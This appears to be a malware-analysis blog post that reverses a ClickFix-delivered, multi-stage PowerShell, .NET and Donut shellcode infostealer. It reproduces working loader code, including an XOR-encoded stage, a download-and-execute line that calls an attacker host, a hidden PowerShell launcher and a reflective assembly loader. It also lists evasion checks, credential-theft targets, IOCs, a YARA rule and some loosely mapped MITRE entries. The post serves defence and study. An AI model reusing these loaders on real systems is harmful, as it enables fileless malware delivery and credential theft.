3309 words
17 minutes
PowerShell to Shellcode: Reversing a Fileless Multi-Stage Malware Chain May 2026

Multi-Stage PowerShell Loader & Donut Shellcode Analysis#

  • Author: Jeel Nariya
  • Published: 2026-05-08

Overview#

  • This malware uses multiple PowerShell stages, XOR/Base64 obfuscation, and Donut shellcode to execute payloads completely in memory while avoiding static detection.

Infection Chain#

6810300C-5ABA-403A-845D-07043F3D26C6.PNG

Stage Analysis#

Stage0 — Initial Payload#

URL#

https[:]//6fd64f52[.]syscheck-loadverifyov3[.]pages[.]dev/?v=moa4x7jh&s=1&r=68h7
  • After opening this site it will automatically paste some Powershell malicious code into clipboard, this is classic social engineering technique named ClickFix.

Behavior#

Pasted image 20260510170801.png

  • This is something useful code and it looks malicious because it doing XOR decryption with a key,
  • Here is the cleaned code,
Terminal window
$key = "xwT2sd46cGELLKZs4fEU"
$data = [Convert]::FromBase64String("clMRQAELRncAMywjIhsoFlIDNzAWFDESTkQTZQorICI4JyMwWwgxPBYCMRV5QHdfFxEmfQI9CCRnFmVoWFU8RgcURwxMaCQ5OCM/C10IIjkXFjAcABRVVQZoJyI1PnQBFmwxJwFXLzhTRBQWRzQmPiU7LlMJRm0bHQB5fREOUVUXZwspOGUNFlYlKTwdGSAbXSBbQQ0rKi0oGC4BXQgifVw0PUYlBwV4FRUSHzxiUFMURmU8HQ90FgAHRl8TM08xbCg7B1cOZS4FfQ==")
$decoded = for ($i=0; $i -lt $data.Length; $i++) {
$data[$i] -bxor [byte][char]$key[$i % $key.Length]
}
$script = -join ([char[]]$decoded)
Invoke-Expression $script
  • After decryption of this strings statically in cyberchef, it looks like this,

Pasted image 20260510171924.png

Terminal window
$ErrorActionPreference = 'SilentlyContinue'
$CitVc1NvRWSp = "https://authexingload.space/bnyu.r"
try {
$script = (New-Object Net.WebClient).DownloadString($CitVc1NvRWSp)
iex $script
} catch {}
Invoke-Expression $script

Notes#

  • This stage0 try to decrypt some base64 and execute it, and it spits out the stage1 Powershell.

Stage1 — PowerShell Loader#

Behavior#

Pasted image 20260510172343.png

  • This script will download another stage from given URL,
https[:]//authexingload[.]space/bnyu[.]r

Stage2 — PowerShell Loader#

Behavior#

  • This is another powershell stager which has large base64 blog,
Terminal window
$ErrorActionPreference = 'SilentlyContinue'
$pay = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('CgAkAEUAcgByAG8Acg.............pACkAIAB9AAoAfQAKAA=='))
if ([IntPtr]::Size -eq 8) {
$p86 = "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
if (Test-Path $p86) {
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = $p86
$si.Arguments = "-NoProfile -WindowStyle Hidden -Command -"
$si.UseShellExecute = $false
$si.CreateNoWindow = $true
$si.RedirectStandardInput = $true
$proc = [System.Diagnostics.Process]::Start($si)
$proc.StandardInput.WriteLine($pay)
$proc.StandardInput.Close()
exit
}
}
IEX $pay

Pasted image 20260510173431.png

Notes#

TechniquePurpose
Base64 encodingObfuscation
Hidden PowerShellStealth
IEXFileless execution
32-bit PowerShellBypass defenses / compatibility
STDIN executionAvoid command-line logging
NoProfileCleaner environment

Stage3 — Downloader#

Behavior#

  • Now after decoding the base64 blob it spits out something like this,

Pasted image 20260510173846.png

Terminal window
$ErrorActionPreference = 'SilentlyContinue'
Add-Type -AssemblyName System.Windows.Forms
$d = [Convert]::FromBase64String('QUD5izFgfnE3l9LtS...eLxX1piy68BgqtqGVtN')
$k = [Convert]::FromBase64String('DBppizJgfnEzl9LttCPeWFxuBA33gBKuY4Hkq2oZW00=')
$p = New-Object byte[] $d.Length
for ($i=0;$i -lt $d.Length;$i++) { $p[$i] = $d[$i] -bxor $k[$i % $k.Length] }
$a = [Reflection.Assembly]::Load($p)
$m = $a.EntryPoint
if ($m) {
[Windows.Forms.Application]::EnableVisualStyles()
$pa = $m.GetParameters()
if ($pa.Length -eq 0) { $m.Invoke($null, $null) }
else { $m.Invoke($null, @(,[string[]]@())) }
}

Pasted image 20260510174541.png

Notes#

TechniquePurpose
Base64Obfuscation
XOR encryptionHide payload
Reflection.Assembly.LoadFileless execution
In-memory PE loadingEvasion
EntryPoint invocationExecute payload
No disk artifactAvoid AV scanning

Stage4 - .NET Loader#

Behavior#

  • Now after XOE decrypting the base64 blob with given key, it gives one executable binary,

Pasted image 20260510175416.png

  • This is .Net Compiled 32 bit Binary.
Terminal window
┌──(b14cky㉿DESKTOP-VRSQRAJ)-[/]
└─$ file stage4.exe
stage4.exe.defused: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections

Initial static analysis#

  • I will perform some initial static analysis to get some context before diving into dnspy,
  • First and foremost thing is typical virustotal,
    • I found almost 48 matches so this is not something new,
    • Although previous stagers have no signatures on it.

Pasted image 20260510191055.png

  • I will start with pestudio,

Pasted image 20260510181045.png

  • It is showing some details which are,
    • Compile time → Tue Apr 21 00:27:49 2026 (UTC)
    • File Size, Version, description etc..

Pasted image 20260510181605.png

  • Import details,

Pasted image 20260510181949.png

  • This is output of detect it easy specifying that it is,

Pasted image 20260510180502.png

  • PE32 → 32-bit Windows executable
  • I386 → x86 architecture
  • GUI → no console window, graphical app type
  • MSIL/C# → .NET executable written in C#
  • .NET CLR v4.0.30319 → requires .NET Framework 4.x runtime
  • Microsoft Linker 11.0 → likely compiled using Visual Studio 2012 toolchain
  • Little Endian (LE) → standard x86 byte order
  • Authenticode / PKCS#7 → contains digital signature structure/certificate blob
  • Overlay present → extra data appended after PE end
  • Overlay Size 0x1d00 → ~7 KB extra data appended
  • Common malware indicators:
    • reflective .NET loading compatible
    • hidden GUI execution
    • possible packed/obfuscated payload
    • possible hidden config/payload in overlay
  • This is the entropy information,

Pasted image 20260510180717.png

  • There is some data in overlay which looks random,
    • it might be shellcode, packed data etc..

Pasted image 20260510180808.png

Code Analysis#

  • Now i will open this stag4 sample into dnspy,
  • It has these many function including some junk code,
  • We will start with main,

Pasted image 20260510184539.png

  • This is the Main code which is a Shellcode Loader,
    • Behavior:
      1. decrypt embedded shellcode
      2. allocate executable memory
      3. inject shellcode into memory
      4. execute via native thread
      5. optionally perform decoy GUI actions

Pasted image 20260510183048.png

  • It is also doing some Masquerading things like processing junk code to confuse the analyst,

Pasted image 20260510184358.png

  • It is a large byte array containing AES encrypted Shellcode,

Pasted image 20260510184034.png

BehaviorWhy Suspicious
Shellcode decryptionHidden payload
RWX memory allocationCode injection
NtAllocateVirtualMemoryNative API abuse
NtCreateThreadExShellcode execution
Marshal.Copy to executable memoryInjection pattern
Hidden GUIStealth
Empty catch blocksHide failures
Fake Microsoft namingMasquerading
  • DecryptShellcode Function analysis,
  • This function:
    1. Takes encrypted shellcode
    2. Decodes AES key + IV
    3. AES-decrypts payload in memory
    4. Returns executable shellcode bytes

Pasted image 20260510183621.png

Dynamic Analysis to get Extract Shellcode#

Pasted image 20260510185031.png

  • So to carve the shellcode, i put breakpoint right after decryption and it is written in array buffer so i carve it into a file called stage5_shellcode.bin,

Pasted image 20260510185222.png

Notes#

  • This is summarized working flow, Pasted image 20260510185719.png

Stage5 - Donut Shellcode#

Pasted image 20260510191521.png

  • Since it is open source so we see the main capabilities it have,
    • Executes payloads completely from memory (fileless execution)
    • Supports EXE, DLL, .NET assemblies, VBScript, and JScript
    • Uses dynamic API resolution and API hashing
    • Walks the PEB to find loaded DLLs instead of normal imports
    • Can encrypt/compress embedded payloads
    • Supports AMSI/WLDP bypass techniques
    • Hosts the .NET CLR in memory for reflective .NET execution
    • Works well for process injection and reflective loading

Shellcode Analysis#

  • Now after knowing that this is know in public so maybe there will some decrypted available which can be useful,
  • This is very useful in that process,
  • Installation commands,
Terminal window
cd /path/to/donut-decryptor
python -m pip install .
  • After installation we can decrypt the shellcode,
Terminal window
donut-decryptor --outdir shellcode_dec/ --debug stage5_shellcode.bin

Pasted image 20260513151540.png

  • We get this 2 files,
Terminal window
└─$ file *
inst_stage5_shellcode.bin: JSON text data
mod_stage5_shellcode.bin: PE32 executable for MS Windows 6.00 (GUI), Intel i386, 5 sections
  • Here is json file content,
  • It shows the configuration of shellcode
    • A Donut-generated shellcode loader that contains an embedded DLL payload directly inside it, using normal Donut obfuscation but no compression.
{
"File": "stage5_shellcode.bin",
"Instance Type": "DONUT_INSTANCE_EMBED",
"Entropy Type": "DONUT_ENTROPY_DEFAULT",
"Decoy Module": "",
"Module Type": "DONUT_MODULE_DLL",
"Compression Type": "DONUT_COMPRESS_NONE"
}
  • But it decrypts the ASMx86 Compiled file,
Terminal window
┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ diec stage6_carvedfromshellcode.bin -u --verbose
[HEUR/About] Generic Heuristic Analysis by DosX (@DosX_dev)
[HEUR] Scanning has begun!
[HEUR] Scanning to programming language has started!
[HEUR] Scan completed.
PE32
Operation system: Windows(Vista)[I386, 32-bit, GUI]
Linker: Microsoft Linker(14.36.35728)
Compiler: MASM(14.36.35728)
Language: ASMx86

Stage6 - ASMx86 Analysis#

Initial Static Analysis#

  • Detect it Easy Shows high entropy in 2 sections for packed,
    • .text and .reloc

Pasted image 20260515132905.png

  • Some static analysis using PEStudio again,
    • Compile Date: Tue Jul 16 11:09:57 2024 (UTC)

Pasted image 20260515131041.png

Pasted image 20260515131409.png

  • It contains the rich header means it is build using Visual Studio,

Pasted image 20260515131447.png

  • Some malicious APIs and its actions,

Pasted image 20260515132648.png

Initial Dynamic Analysis#

  • I have used these 3 pair of tools,

    • ProcMon: For Monitoring the Process
    • RegShot: See the Diff or Registery
    • Fakenet: To see network communication
    • Process Hacker: Process Information
  • After executing malware as admin it immediately exist because as we make assumption that it is doing process injection so that’s,

Pasted image 20260515191257.png

  • After executing the sample, i found that this is trying to communicate with server,

Pasted image 20260515183851.png

Pasted image 20260515185634.png

192[.]0[.]2[.]123
  • Now you might think it has Anti-VM artifacts so why does it is executed so you will found that answer next section,
  • It creates bunch of DLLs in same directory and removed it later,

Pasted image 20260515185824.png

Pasted image 20260515185846.png

  • So now lets see the network logs in Wireshark,
  • As mentioned, it is using encrypted traffic because it exfiltrate data on HTTPS.

Pasted image 20260515190746.png

Pasted image 20260515191017.png

  • But in the fakenet tab it is visible that where does request does,

Pasted image 20260515191529.png

https[:]//tq[.]trxzidan[.]icu
https[:]//telegra[.]ph/Parameter-04-03

Code Analysis#

  • This is the whole working flow of this sample, Pasted image 20260515160601.png

  • Let me walk thought each one by one,

  • Start with start or entrypoint of the function,

Pasted image 20260515162324.png

Anti-Analysis Checks#

Environment Checks#

Pasted image 20260515161322.png

Pasted image 20260515161654.png

Pasted image 20260515162102.png

Anti-Debug Check#

Pasted image 20260515164413.png

Pasted image 20260515163526.png

typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
  • Now if PEB walk is there so certainly there will be API resolution so we will explore it,

Pasted image 20260515164819.png

  • Another Anti-Debug technique is WOW64 Transition,
  • It’s an indirect call into WOW64’s internal dispatcher
  • It’s a WOW64 internal dispatcher stub that XOR-decodes a function pointer and calls a hidden system transition routine via FS:[0xC0], commonly used for indirect execution and evasion in malware loaders.
  • And i checked at runtime in debugger and found that after this function call it raise some exception and program exits.

Pasted image 20260515170041.png

Anti-EDR Check#
  • This is a Anti-EDR technique in which it is checking where these 2 drivers exits or not, if exit then it will exit,
  • C:\\Windows\\System32\\drivers\\klhk.sys
  • C:\\Windows\\System32\\drivers\\klif.sys

Pasted image 20260515170459.png

Pasted image 20260515170607.png

Anti-VM / Sandbox Check#
  • Anubis / Agent-based sandbox
  • Common sandbox agent naming (ANY.RUN + generic analysis agents)
"agent.exe"
"arunagent"

Pasted image 20260515170952.png

Pasted image 20260515171021.png

  • ANY.RUN sandbox
  • Online interactive malware analysis sandbox

Pasted image 20260515171040.png

  • QEMU virtual machine
  • QEMU Guest Agent (very strong VM indicator)
"qemu-ga.exe"

Pasted image 20260515171101.png

  • VirtualBox
  • VirtualBox user-mode tray process
"vboxtray"

Pasted image 20260515171130.png

  • So the full detection list is:
  • Sandboxes / Analysis environments
    • ANY.RUN sandbox (anyrun)
    • Analysis agent (agent.exe)
    • Runtime sandbox agent (arunagent)
  • Virtualization platforms
    • QEMU VM (qemu-ga.exe)
    • VirtualBox (vboxtray)

Runtime API Resolution#

Pasted image 20260515191927.png

Pasted image 20260515171738.png

Pasted image 20260515171858.png

Pasted image 20260515172247.png

  • So now the upper value which is being pushed to stack, 0xFCB67412
  • is our hash so i tried the hashdb to resolve it but i failed so made my own script using Claude to resolve it,
  • This is the working diagram of hashing algorithm,

Pasted image 20260515172459.png

  • Here is my script,
  • It will first parse all the important DLLs and its APIs and make a hash table of it, then we can simply match the target hash and get the API,
  • It will load the hashes.txt file which has all hashes,
#!/usr/bin/env python3
# ============================================================
# Malware API Hash Resolver
# ============================================================
#
# Usage:
# python3 resolve_hashes.py hashes.txt
#
# hashes.txt:
# 0xFCB67412
# 0x12345678
#
# Environment:
# WSL + Windows DLLs from:
# /mnt/c/Windows/System32
#
# ============================================================
import os
import sys
import pefile
SYSTEM32 = "/mnt/c/Windows/System32"
# ------------------------------------------------------------
# DLLs to parse
# ------------------------------------------------------------
COMMON_DLLS = [
"kernel32.dll",
"kernelbase.dll",
"ntdll.dll",
"advapi32.dll",
"user32.dll",
"gdi32.dll",
"ws2_32.dll",
"wininet.dll",
"urlmon.dll",
"shell32.dll",
"ole32.dll",
"combase.dll",
"crypt32.dll",
"iphlpapi.dll",
"shlwapi.dll",
"psapi.dll",
"sechost.dll",
"bcrypt.dll",
"rpcrt4.dll",
"winhttp.dll",
"setupapi.dll",
"netapi32.dll",
"dnsapi.dll",
"wtsapi32.dll",
"oleaut32.dll",
"userenv.dll",
"dbghelp.dll",
"comdlg32.dll",
"uxtheme.dll",
]
# ------------------------------------------------------------
# ROTL32
# ------------------------------------------------------------
def rol32(value, bits):
bits &= 31
if bits == 0:
return value & 0xFFFFFFFF
return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF
# ------------------------------------------------------------
# Malware hash algorithm
# ------------------------------------------------------------
def mw_hash(s):
s = s.encode(errors="ignore")
length = len(s)
if length:
edx = 0x75A887A5
for i, c in enumerate(s):
# lowercase conversion
if 0x41 <= c <= 0x5A:
c += 0x20
ebx = ((c << 16) | c) & 0xFFFFFFFF
eax = rol32(0x86679E7F, i)
eax ^= ebx
eax = (eax * 0xCEDEB46B) & 0xFFFFFFFF
eax = rol32(eax, 8)
eax = (eax * 0x9228D003) & 0xFFFFFFFF
eax ^= edx
eax = rol32(eax, 16)
eax = (eax * 0xC10609A7) & 0xFFFFFFFF
eax = (eax + 0x86679E7F) & 0xFFFFFFFF
edx = eax ^ (eax >> 15)
else:
edx = 0x75A887A5
edx ^= length
eax = edx ^ (edx >> 16)
eax = (eax * 0xC0A4F1EB) & 0xFFFFFFFF
ecx = eax ^ (eax >> 13)
eax = (ecx * 0x8DAA4A67) & 0xFFFFFFFF
ecx = eax ^ (eax >> 16)
ecx = (ecx * 0xCEDEB46B) & 0xFFFFFFFF
eax = ecx ^ (ecx >> 15)
return eax & 0xFFFFFFFF
# ------------------------------------------------------------
# Build export database
# ------------------------------------------------------------
def build_db():
db = {}
print("[*] Parsing DLL exports...\n")
for dll in COMMON_DLLS:
dll_path = os.path.join(SYSTEM32, dll)
if not os.path.exists(dll_path):
print(f"[-] Missing: {dll}")
continue
print(f"[+] {dll}")
try:
pe = pefile.PE(dll_path)
if not hasattr(pe, "DIRECTORY_ENTRY_EXPORT"):
continue
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if not exp.name:
continue
try:
api = exp.name.decode(errors="ignore")
except:
continue
h = mw_hash(api)
if h not in db:
db[h] = []
db[h].append(f"{dll}!{api}")
except Exception as e:
print(f" ERROR: {e}")
return db
# ------------------------------------------------------------
# Load hashes from file
# ------------------------------------------------------------
def load_hashes(path):
hashes = []
with open(path, "r") as f:
for line in f:
line = line.strip()
if not line:
continue
try:
hashes.append(int(line, 16))
except:
print(f"[-] Invalid hash: {line}")
return hashes
# ------------------------------------------------------------
# Main
# ------------------------------------------------------------
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} hashes.txt")
return
hashes_file = sys.argv[1]
hashes = load_hashes(hashes_file)
print(f"[+] Loaded {len(hashes)} hashes\n")
db = build_db()
print("\n================ RESULTS ================\n")
found = 0
for h in hashes:
print(f"0x{h:08X}")
if h in db:
found += 1
for api in db[h]:
print(f" -> {api}")
else:
print(" -> NOT FOUND")
print()
print("=========================================")
print(f"[+] Resolved: {found}/{len(hashes)}")
print("=========================================")
if __name__ == "__main__":
main()
  • But first we need to get all the hashes so for that i used IDAPython scripting to get all the hashes with simple logic, which is that copy the upper 3rd argument of call mw_api_resolver and it should be push <hex value>,
  • Here is script which will pull all the hashed which are fits in this pattern,
import idautils, idaapi, idc, os
TARGET = "mw_api_resolver"
OUTFILE = os.path.join(os.path.dirname(idaapi.get_input_file_path()), "hashes.txt")
def is_push_imm(ea):
return idc.print_insn_mnem(ea).lower() == "push" and \
idc.get_operand_type(ea, 0) == idaapi.o_imm
def find_hash(call_ea):
ea, pushes = idc.prev_head(call_ea), 0
for _ in range(12):
if ea == idc.BADADDR: break
if idc.print_insn_mnem(ea).lower() == "push":
pushes += 1
if pushes == 2:
return (idc.get_operand_value(ea, 0) & 0xFFFFFFFF) if is_push_imm(ea) else None
ea = idc.prev_head(ea)
return None
target_ea = idc.get_name_ea_simple(TARGET)
if target_ea == idc.BADADDR:
print(f"[-] '{TARGET}' not found — check label name")
else:
hits, misses = [], []
for xref in idautils.CodeRefsTo(target_ea, False):
h = find_hash(xref)
(hits if h else misses).append((xref, h))
print(f"\n{'─'*45}")
for ea, h in hits:
print(f" 0x{ea:08X} → 0x{h:08X}")
print(f"{'─'*45}")
print(f" Resolved : {len(hits)} | Skipped : {len(misses)}")
print(f"{'─'*45}\n")
if hits:
with open(OUTFILE, "w") as f:
f.writelines(f"0x{h:08X}\n" for _, h in hits)
print(f"[+] Saved → {OUTFILE}")

Pasted image 20260515175113.png

  • After some cleaning, It extracted almost 94/114 APIs which is not that good, i know but this is more simpler way to do this,
Anti-Debug / Anti-Sandbox / Sleep Logic#
APIDLLWhy malware uses itMalicious purpose
GetTickCountkernel32 / kernelbaseRetrieves system uptime in msUsed for timing checks, delays, and anti-debug (detect stepping / sandbox acceleration)
IsWindowVisibleuser32.dllChecks window visibility stateDetects user interaction vs hidden execution (sandbox UI artifacts)
Process Injection / Execution Control#
  • As i said in PEStudio Stage that it has process injection and it is proved here,
APIDLLWhy malware uses itMalicious purpose
CreateProcessA/Wkernel32/kernelbaseCreates new processesUsed for payload execution, LOLBins chaining, or injection target creation
NtSetInformationThreadntdllModifies thread behaviorUsed for hiding threads (ThreadHideFromDebugger)
NtQueryInformationProcessntdllRetrieves process metadataUsed for debugger detection / process enumeration stealth checks
NtQueueApcThreadntdllQueues async procedure callClassic APC injection technique
RtlCreateUserThreadntdllCreates remote threadUsed in process injection / reflective loaders
InitializeProcThreadAttributeListkernel32Thread attribute setupUsed for PPID spoofing / stealth process creation
UpdateProcThreadAttributekernel32Modifies attributesUsed for parent process spoofing / injection stealth
DLL Loading / Dynamic Resolution#
APIDLLWhy malware uses itMalicious purpose
LdrLoadDllntdllLow-level DLL loaderUsed for manual module loading, hiding imports
Crypto / Credential Access#
APIDLLWhy malware uses itMalicious purpose
CryptUnprotectDatacrypt32.dllDPAPI decryptionUsed to steal saved browser passwords / cookies / credentials
System Information / Fingerprinting#
APIDLLWhy malware uses itMalicious purpose
GetSystemMetricsuser32.dllSystem UI propertiesDetects VM/sandbox display configs
EnumDisplayDevicesAuser32.dllDisplay enumerationVM detection (virtual GPU / fake monitor detection)
GetSystemWow64DirectoryAkernel32Checks OS architectureDetects 32/64-bit environment
GetVolumeInformationWkernel32Disk serial / FS infoUsed for machine fingerprinting
GetAdaptersAddressesiphlpapi.dllNetwork adapter infoUsed for network fingerprinting / sandbox detection
LCIDToLocaleNamekernel32Locale detectionUsed for geolocation / VM region detection
Memory Management / Obfuscation Support#
APIDLLWhy malware uses itMalicious purpose
GlobalAlloc / GlobalFreekernel32Heap allocationUsed in payload staging / unpacking
GlobalLock / Unlockkernel32Memory lockingUsed for staged shellcode handling
GlobalSizekernel32Memory size checkUsed in buffer manipulation
LocalFreekernel32Memory cleanupUsed in anti-analysis cleanup
WriteFilekernel32File I/OUsed for dropping payloads or pipes
CreatePipekernel32Anonymous pipesUsed for process chaining / C2 staging
SetHandleInformationkernel32Handle controlUsed for anti-inheritance / stealth IPC
Screen / Keylogging / Surveillance#
APIDLLWhy malware uses itMalicious purpose
GetDCuser32Device context captureUsed for screen capture
ReleaseDCuser32Release DCcleanup for capture routines
BitBltgdi32Screen copyClassic screen scraping / spyware capture
GetDIBitsgdi32Extract bitmap pixelsUsed for image extraction
CreateCompatibleDCgdi32Offscreen drawingUsed in screenshot pipelines
CreateCompatibleBitmapgdi32Bitmap bufferScreen capture buffer creation
SelectObjectgdi32GDI object selectionUsed in image manipulation
DeleteDC / DeleteObjectgdi32CleanupAnti-analysis cleanup
GdiFlushgdi32Flush GDI callsEnsures capture completion
GetDesktopWindowuser32Desktop handleBase for full screen capture
Registry / Persistence / System Query#
APIDLLWhy malware uses itMalicious purpose
RegOpenKeyExAadvapi32Open registry keyUsed for persistence / startup keys
RegQueryValueExAadvapi32Read registry valuesUsed for system reconnaissance
RegCloseKeyadvapi32Close registry handlecleanup
Networking / C2 Communication#
APIDLLWhy malware uses itMalicious purpose
WSAStartupws2_32Init socketsInitializes network stack
WSACleanupws2_32Cleanup socketsnetwork teardown
getaddrinfows2_32DNS resolutionC2 domain resolution
freeaddrinfows2_32Free DNS resultsmemory cleanup
COM / GUID / System Identity#
APIDLLWhy malware uses itMalicious purpose
CoInitializeExole32/combaseInit COMRequired for advanced Windows APIs
CoUninitializeole32/combaseCleanup COMteardown
CoCreateInstanceole32/combaseCreate COM objectsUsed for system interaction stealth
CoCreateGuidole32/combaseGenerate GUIDUsed for unique bot IDs / persistence IDs

Config Bootstrap#

Pasted image 20260515175224.png

Pasted image 20260515175251.png

Pasted image 20260515175505.png

  • It is staging a powershell command to download next stage payload from there,
  • but currently it is down,
https[:]//telegra[.]ph/Parameters-04-03

Pasted image 20260515175659.png

C2 Communication#

Pasted image 20260515180017.png

  • At runtime i found that this function will resolve, getadressinfo and resolve domain name to ip address,

Pasted image 20260511201920.png

  • This is the function where whole HTTP header will build and request made to C2,

Pasted image 20260515180210.png

Pasted image 20260515180259.png

Pasted image 20260515180318.png

Pasted image 20260515180341.png Pasted image 20260515180405.png

Pasted image 20260515180424.png

Pasted image 20260515180446.png

  • Now at runtime i found the actual C2 domain,
tq[.]trxzidanp[.]icu

Pasted image 20260515180552.png

  • It also doing some low-level network activity designed to bypass traditional security monitoring.

Pasted image 20260515180755.png

  • The AfdOpenPacket family of functions interacts directly with the Ancillary Function Driver (AFD.sys), which is the kernel-mode driver responsible for Windows Sockets (Winsock) and TCP/IP traffic.
  • Direct TCP Socket Creation: Advanced malware can use AfdOpenPacket (often accessed via NtCreateFile on \\Device\\Afd) to craft raw TCP sockets without relying on standard Windows APIs like ws2_32.dll.
  • Bypassing Security Monitoring: By interacting directly with AFD.sys in the kernel, malware can evade security solutions that hook higher-level Winsock APIs, allowing it to send or receive data silently.

Browser and Other Data Theft#

  • Now for these module i found so many functionalities so listed some important only,
Browser Credential#

Pasted image 20260515181302.png

  • This is structure of function, it is making json object as shown and exfiltrate it.
{
"n": "Chrome",
"p": "Google\\Chrome\\User Data",
"pn": "Default",
"t": 1
}
// Extracting Data From
"C:\\Users\\<USER>\\AppData\\Local\\Google\\Chrome\\User Data"
// such as
"\\Local State, encrypted_key, profiles_order"
Browser Cookies#
  • It doing these for both, Firefox and Chrome,

Pasted image 20260515181436.png

Pasted image 20260515181454.png

Stealing Firefox Profiles and Extension Information#

Pasted image 20260515181647.png

Pasted image 20260515181603.png

Stealing Steam Cache Data#

Pasted image 20260515182101.png

Pasted image 20260515182216.png

  • You see many “key-like” strings being constructed:
    • "users"
    • "AccountName"
    • "Software"
    • "Valve"
    • "Steam"
    • "Connect"
    • "Cache"
  • System + user environment harvesting: (HKCU\Software\Valve\Steam)
    • user accounts
    • installed software
    • Steam / Valve gaming data
    • registry keys under Software hive
    • cache / session data
  • It stills files such as,
    • Steam\config\loginusers.vdf
    • Steam\config\config.vdf
    • Steam\config\steamappdata.vdf
    • Steam\config\steamapps.vdf
    • Steam\config\ssfn*
    • Steam\config\htmlcache\
    • Steam\userdata\ etc.

Data Exfiltration#

  • it is doing json escaping to transport all the stolen json data to C2,

Pasted image 20260515182618.png

Threat Intelligence#

Pasted image 20260515194640.png

Pasted image 20260515194652.png

Pasted image 20260515194319.png

Pasted image 20260515194416.png

Pasted image 20260515194457.png

IOCs#

URLs#

https[:]//6fd64f52[.]syscheck-loadverifyov3[.]pages[.]dev/
https[:]//authexingload[.]space/bnyu[.]r
https[:]//telegra[.]ph/Parameter-04-03
https[:]//tq[.]trxzidan[.]icu
https[:]//192[.]0[.]2[.]123

Payloads#

StagesTypeHash
stage0.ps1Pwsh2e2490b755819d71092a71961d4bfaff5cf3f69fd00199e38759370806d7f78b
stage1.ps1Pwsh986c84f6345e6b40f5ece22c961a7fdb9356733c2ca0b8a22970c7c18ee1ed4e
stage2.ps1Pwsh9d0ce7a84e62e3458b82d682c7c3f97d095cb2fba8caa0263ee8929994990254
stage3.ps1Pwshbeef326622ceb85d37697b965c55290f04c0c6088016b45ba9e17026e36d1fe3
stage4.exe.NETc1e8ea0ebbe41a5714caca4fc85046de84dd82553379c16b7f83b0c7fc8ce20a
stage5_shellcode.binShellcode7e3e622c9762b8ccdf813c0b288f677f1b4055e31389440a9b692638555a5153
stage6_carvedfromshellcode.exeASMx8625d0ad1cc25b94cb4e01ece63b9de726212ed4172f284b12946c5c5b6c732f90

MITRE ATT&CK Mapping#

TacticTechnique IDTechnique NameWhere in your chainEvidence (from reports + behavior)
Initial AccessT1566.002Phishing: Spearphishing LinkStage0Clipboard clickfix PowerShell URL lure (pages.dev)
ExecutionT1059.001PowerShellStage0–Stage4Multi-stage PowerShell loaders across all initial stages
ExecutionT1204.001User Execution: Malicious LinkStage0User triggered clipboard execution
Defense EvasionT1027Obfuscated/Encrypted Files or InfoStage1–Stage4XOR + Base64 + AES-CBC encrypted payloads
Defense EvasionT1140Deobfuscate/Decode Files or InformationStage1–Stage5Repeated decode → next stage execution chain
Defense EvasionT1027.002Software PackingStage5.NET loader with embedded encrypted shellcode
ExecutionT1106Native API ExecutionStage5.NET runtime executing shellcode manually
ExecutionT1620Reflective Code LoadingStage5Runtime shellcode injection in memory
ExecutionT1055Process InjectionStage5–Stage6Donut shellcode + in-memory execution
Defense EvasionT1218.011Signed Binary Proxy Execution (Rundll32/Regsvr32 style behavior likely)Stage3–Stage4PowerShell-based staged execution (LOLBins pattern)
Defense EvasionT1105Ingress Tool TransferStage3Download stage4 payload from external domain
Command & ControlT1071.001Web Protocols (HTTP/HTTPS)Stage3–Stage7C2 + download + exfil over HTTPS endpoints
Command & ControlT1102Web Service (Telegram-like infra possible)Stage7telegra.ph used for payload staging
Command & ControlT1568Dynamic Resolution / Hosting AbuseStage0–Stage3Multiple disposable domains (pages.dev, .space)
Persistence (possible)T1053Scheduled Task/Auto Start ExecutionLikely Stage4–5Common in PowerShell loaders (often seen in HA reports)
ExfiltrationT1041Exfiltration Over C2 ChannelStage7tq.trxzidanp.icu exfil endpoint
CollectionT1005Data from Local SystemStage7Credential theft / system data harvesting implied
Credential AccessT1555Credentials from Password StoresLikely Stage7Steam credential theft module in earlier analysis
Impact / PayloadT1622Debugging / Anti-analysis checksStage5Sandbox / VM checks often present in such chains
ExecutionT1059.003Windows Command ShellStage3–Stage4PowerShell often spawns cmd for staging
Defense EvasionT1497Virtualization/Sandbox EvasionEarlier stage malware behavior (you referenced VM checks)

YARA Rule#

rule MultiStage_PS_NET_Donut_Loader
{
meta:
description = "Detects multi-stage PowerShell → .NET → Donut shellcode loader chain"
author = "Jeel Nariya"
date = "2026-05-15"
category = "malware.loader.multistage"
strings:
// PowerShell staging indicators
$ps1 = "Invoke-Expression" nocase
$ps2 = "FromBase64String" nocase
$ps3 = "IEX" nocase
$ps4 = "System.Management.Automation" nocase
// Obfuscation patterns
$xor1 = "XOR" nocase
$decode1 = "Encoding.ASCII" nocase
$decode2 = "Encoding.UTF8" nocase
// .NET loader indicators
$net1 = "System.Reflection.Assembly" nocase
$net2 = "Assembly.Load" nocase
$net3 = "DynamicMethod" nocase
$net4 = "MethodInfo" nocase
// Shellcode / injection patterns
$sc1 = "VirtualAlloc" nocase
$sc2 = "CreateThread" nocase
$sc3 = "Marshal.Copy" nocase
// Donut loader hint (common artifacts)
$donut1 = "Donut" nocase
$donut2 = "InvokeShellcode" nocase
// Infrastructure hints (seen in your chain)
$c2_1 = ".pages.dev"
$c2_2 = ".space"
$c2_3 = ".icu"
$c2_4 = "telegra.ph"
condition:
// Core condition: staged loader behavior
(
3 of ($ps*) and
2 of ($decode*) and
2 of ($net*) and
2 of ($sc*)
)
or
(
$donut1 or $donut2
)
